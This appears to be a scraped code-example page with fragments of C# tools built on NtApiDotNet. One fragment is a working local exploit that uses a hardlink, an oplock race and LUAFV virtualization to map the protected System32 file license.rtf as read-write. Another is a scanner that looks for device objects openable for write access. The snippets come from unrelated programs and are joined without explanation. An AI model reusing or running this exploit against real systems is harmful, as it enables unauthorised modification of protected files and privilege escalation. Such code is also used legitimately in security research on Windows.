private static EaBuffer CreateDummyEaBuffer()
        {
            EaBuffer ea = new EaBuffer();

            ea.AddEntry("GARBAGE", new byte[16], EaBufferEntryFlags.NeedEa);
            return(ea);
        }
Beispiel #2
0
 static NtSection RemapFileAsRW()
 {
     string base_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "luafv_" + Guid.NewGuid());
     Console.WriteLine("Base Path: {0}", base_path);
     DirectorySecurity dir_sd = new DirectorySecurity();
     Directory.CreateDirectory(base_path);
     string target_path = NtFileUtils.DosFileNameToNt(Path.Combine(base_path, "dummy.txt"));
     string license_file = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "license.rtf");
     Console.WriteLine("Trying to map {0} R/W", license_file);
     NtFile.CreateHardlink(NtFileUtils.DosFileNameToNt(license_file), target_path);
     using (var oplock_file = NtFile.Open(target_path, null, FileAccessRights.ReadAttributes, FileShareMode.All, FileOpenOptions.NonDirectoryFile))
     {
         var oplock = oplock_file.RequestOplockAsync(OplockLevelCache.Read | OplockLevelCache.Write, RequestOplockInputFlag.Request);
         Console.WriteLine("Started oplock");
         SetVirtualization(true);
         Console.WriteLine("Opening file");
         using (var file = NtFile.Open(target_path, null, FileAccessRights.GenericRead
             | FileAccessRights.GenericWrite, FileShareMode.All,
             FileOpenOptions.NonDirectoryFile | FileOpenOptions.CompleteIfOplocked))
         {
             SetVirtualization(false);
             Console.WriteLine("{0} {1}", NtProcess.Current.ProcessId, file.Handle.DangerousGetHandle());
             Console.WriteLine("{0} {1}", file.FullPath, file.GrantedAccess);
             CreateVirtualStoreFile(target_path, GetDummyBuffer());
             
             var async_read = file.ReadAsync(1, 0);
             if (!oplock.Wait(10000))
             {
                 throw new Exception("Oplock Timed Out");
             }
             Console.WriteLine("Oplock Fired");
             EaBuffer ea = new EaBuffer();
             ea.AddEntry("Hello", new byte[16], EaBufferEntryFlags.None);
             // Set EA to force the delayed virtualization to complete without triggering oplock.
             Console.WriteLine("Setting EA");
             file.SetEa(ea);
             Console.WriteLine("File now {0}", file.FullPath);
             oplock_file.Close();
             Console.WriteLine("Closed oplock_file");
             if (!async_read.Wait(10000))
             {
                 throw new Exception("Async Read Timed Out");
             }
             Console.WriteLine("Read Complete");
             return NtSection.Create(null, SectionAccessRights.MaximumAllowed, null,
                 MemoryAllocationProtect.ReadWrite, SectionAttributes.Commit, file);
         }
     }
 }
        static void Main(string[] args)
        {
            bool   show_help      = false;
            bool   map_to_symlink = false;
            bool   readable       = false;
            bool   ea_buffer      = false;
            string suffix         = "XYZ";
            string namelist       = null;

            _pid = Process.GetCurrentProcess().Id;

            try
            {
                OptionSet opts = new OptionSet()
                {
                    { "r", "Recursive tree directory listing",
                      v => _recursive = v != null },
                    { "l", "Try and map device names to a symlink", v => map_to_symlink = v != null },
                    { "p|pid=", "Specify a PID of a process to impersonate when checking", v => _pid = int.Parse(v.Trim()) },
                    { "suffix=", "Specify the suffix for the namespace search", v => suffix = v },
                    { "namelist=", "Specify a text file with a list of names", v => namelist = v },
                    { "ea", "Try and show only devices with accept an EA buffer", v => ea_buffer = v != null },
                    { "e", "Display errors when trying devices, ignores Access Denied", v => _show_errors = v != null },
                    { "i", "Use an identify level token when impersonating", v => _identify_only = v != null },
                    { "d", "Try opening devices as directories rather than files", v => _open_as_dir = v != null },
                    { "f", "Filter out devices which could be opened direct and via namespace", v => _filter_direct = v != null },
                    { "readonly", "Show devices which can be opened for read access instead of write", v => readable = v != null },
                    { "h|help", "show this message and exit",
                      v => show_help = v != null },
                };

                List <string> names = opts.Parse(args);

                if (namelist != null)
                {
                    names.AddRange(File.ReadAllLines(namelist));
                }

                if (names.Count == 0 || show_help)
                {
                    ShowHelp(opts);
                }
                else
                {
                    List <string> device_objs;

                    if (_recursive)
                    {
                        device_objs = FindDeviceObjects(names);
                    }
                    else
                    {
                        device_objs = names;
                    }

                    if (device_objs.Count > 0)
                    {
                        EaBuffer ea = null;
                        if (ea_buffer)
                        {
                            ea = new EaBuffer();
                            ea.AddEntry("GARBAGE", new byte[16], EaBufferEntryFlags.NeedEa);
                        }

                        IEnumerable <CheckResult>   write_normal    = device_objs.Select(n => CheckDevice(n, !readable, ea));
                        IEnumerable <CheckResult>   write_namespace = device_objs.Select(n => CheckDevice(n + "\\" + suffix, !readable, ea));
                        Dictionary <string, string> symlinks        = FindSymlinks();

                        if (ea_buffer)
                        {
                            _show_errors    = true;
                            write_normal    = write_normal.Where(e => e.Status == NtStatus.STATUS_INVALID_PARAMETER);
                            write_namespace = write_namespace.Where(e => e.Status == NtStatus.STATUS_INVALID_PARAMETER);
                        }

                        if (_filter_direct)
                        {
                            Console.WriteLine("Namespace Only");
                            HashSet <string> normal = new HashSet <string>(write_normal.Where(r => r.Status.IsSuccess()).Select(r => r.Path), StringComparer.OrdinalIgnoreCase);
                            DumpList(write_namespace.Where(r => !normal.Contains(r.Path)), map_to_symlink, symlinks);
                        }
                        else
                        {
                            Console.WriteLine("{0} Access", readable ? "Read" : "Write");
                            DumpList(write_normal, map_to_symlink, symlinks);
                            Console.WriteLine();
                            Console.WriteLine("{0} Access with Namespace", readable ? "Read" : "Write");
                            DumpList(write_namespace, map_to_symlink, symlinks);
                        }
                    }
                    else
                    {
                        Console.WriteLine("No device names specified");
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }